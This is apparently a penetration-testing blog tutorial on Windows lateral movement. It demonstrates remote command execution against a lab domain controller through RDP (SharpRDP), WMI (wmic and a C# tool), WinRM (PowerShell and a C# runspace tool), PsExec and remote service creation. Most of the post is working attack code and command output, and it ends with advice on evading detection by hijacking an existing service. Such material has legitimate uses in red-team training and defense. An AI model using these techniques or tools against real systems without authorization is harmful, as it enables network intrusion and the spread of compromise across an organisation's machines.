Lateral Movement 101
This post was requested by a Patron and will provide a crash course in lateral movement techniques on Windows using both native utilities and custom C# tooling.
The most common lateral movement techniques are performed via legitimate management channels including Remote Desktop (RDP), Windows Remote Management (WinRM) and Windows Management Instrumentation (WMI). Platforms such as Windows Server Update Services (WSUS) and System Center Configuration Manager (SCCM) can also be abused.
These management protocols are effective because they provide legitimate remote access by design, and their use is not inherently mallicious or anomalous. All an attacker need obtain is a set of privileged credentials or code execution in a privileged context.
Remote Desktop
I think everyone has probably used RDP before. It allows you to get a full GUI experience of a remote machine as if you were sat at it, optionally supporting clipboard sharing and remote drive mapping. Attackers often operate via CLI driven tooling (e.g. Metasploit) and sometimes over high-latency connections. For that reason, interacting with a remote target via a GUI is not always feasible (or enjoyable) which leads to a general preference for CLI attack tools.
SharpRDP utilises the terminal services library to provide GUI-less authentication and interaction (by sending virtual keystrokes into the “Run” (Win+R) dialogue).
PS C:\> Test-NetConnection -ComputerName dc -Port 3389
ComputerName : dc
RemoteAddress : 10.10.120.1
RemotePort : 3389
InterfaceAlias : Ethernet
SourceAddress : 10.10.120.101
TcpTestSucceeded : True
PS C:\> .\SharpRDP.exe computername=dc command=calc username=LAB\Administrator password=Passw0rd!
[+] Connected to : dc.lab.local
[+] Execution priv type : non-elevated
[+] Executing calc
[+] Disconnecting from : dc.lab.local
[+] Connection closed : dc.lab.local
Windows Management Instrumentation
WMI is Microsoft’s implementation of Web-Based Enterprise Management (WBEM), which is an industry standard for accessing management information of local or remote computers. Applications that leverage WMI can get data or perform operations on said computers.
Windows comes with a native wmic
utility that can be used to execute commands on a target.
C:\>wmic /NODE:dc.lab.local /USER:Administrator /PASSWORD:Passw0rd! process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 6548;
ReturnValue = 0;
};
C# has a namespace called System.Management
which can be used to perform the same.
private static void Main(string[] args)
{
var target = args[0];
var username = args[1];
var password = args[2];
var command = args[3];
var conn = new ConnectionOptions
{
Username = username,
Password = password
};
var scope = new ManagementScope($@"\\{target}\root\cimv2", conn);
scope.Connect();
var mClass = new ManagementClass(scope, new ManagementPath("Win32_Process"), new ObjectGetOptions());
var parameters = mClass.GetMethodParameters("Create");
parameters["CommandLine"] = command;
var result = mClass.InvokeMethod("Create", parameters, null);
Console.WriteLine("Return Value: {0}", result["ReturnValue"]);
Console.WriteLine("Process ID : {0}", result["ProcessID"]);
}
}
C:\>WmiDemo.exe dc.lab.local Administrator Passw0rd! calc
Return Value: 0
Process ID : 6304
Windows Remote Management
PowerShell can be used to interact with a host via WinRM. Enter-PSSession
creates a PowerShell session on the target and gives you an interactive command prompt.
PS C:\> $username = "LAB\Administrator"
PS C:\> $password = ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential($username, $password)
PS C:\> Enter-PSSession -ComputerName dc.lab.local -Credential $cred
[dc.lab.local]: PS C:\Users\Administrator\Documents> hostname
dc
[dc.lab.local]: PS C:\Users\Administrator\Documents> whoami
lab\administrator
If you don’t have an interactive prompt, Invoke-Command
with -ScriptBlock
can be used instead.
PS C:\> Invoke-Command -ComputerName dc.lab.local -Credential $cred -ScriptBlock { hostname; whoami }
dc
lab\administrator
C# tooling requires a reference to System.Management.Automation.dll
which is available from the PowerShell SDK. Or if you’re lazy like me, grab a copy from Lee Christenden’s UnmanagedPowerShell project.
private static void Main(string[] args)
{
var target = args[0];
var username = args[1];
var password = args[2];
var command = args[3];
var securePass = new SecureString();
foreach (var c in password.ToCharArray())
securePass.AppendChar(c);
var credential = new PSCredential(username, securePass);
var uri = new Uri($"http://{target}:5985/WSMAN");
var conn = new WSManConnectionInfo(uri, string.Empty, credential);
using var runspace = RunspaceFactory.CreateRunspace(conn);
runspace.Open();
using var powershell = PowerShell.Create();
powershell.Runspace = runspace;
powershell.AddScript(command);
powershell.AddCommand("Out-String");
var result = powershell.Invoke();
var output = string.Join(Environment.NewLine, result.Select(r => r.ToString()).ToArray());
Console.WriteLine(output);
}
C:\>WinRMDemo.exe dc.lab.local LAB\Administrator Passw0rd! "hostname; whoami"
dc
lab\administrator
PsExec
PsExec is the name of a tool from Sysinternals.
C:\>PsExec64.exe \\dc.lab.local -u LAB\Administrator -p Passw0rd! -i cmd
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.1]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname && whoami
dc
rto2\administrator
This works by copying PSEXESVC.exe
to the target, then creating a new service to execute it. This binary in turn spawns the specified process (cmd in this case), attaches to its standard in/out and sends data back and forth over named pipes. To clean up, the service is then removed and PSEXESVC.exe
deleted.
Interacting with the SCM is easy to replicate using the native sc.exe
utility or in code. The backend API OpenSCManager
does not accept credentials, so all calls must occur within an authenticated session.
C:\>runas /netonly /user:LAB\Administrator cmd.exe
Enter the password for LAB\Administrator:
Attempting to start cmd.exe as user "LAB\Administrator" ...
C:\Windows\system32>sc \\dc.lab.local create TestService binPath= "C:\Windows\System32\calc.exe"
[SC] CreateService SUCCESS
C:\Windows\system32>sc \\dc.lab.local start TestService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
C:\Windows\system32>sc \\dc.lab.local delete TestService
[SC] DeleteService SUCCESS
Even though start
threw an error, the command was executed and calc is running as SYSTEM. Service binaries should technically be different from regular binaries, as they contain means of communicating directly with the SCM for status purposes.
Instead of creating a service (which is often used as an IOC), we can modify an existing one instead. Connect to the SCM of a remote machine and enumerate services to find those with a startup type of Manual. Change its binPath
to whatever you want to exectute, start the service and then change the path back.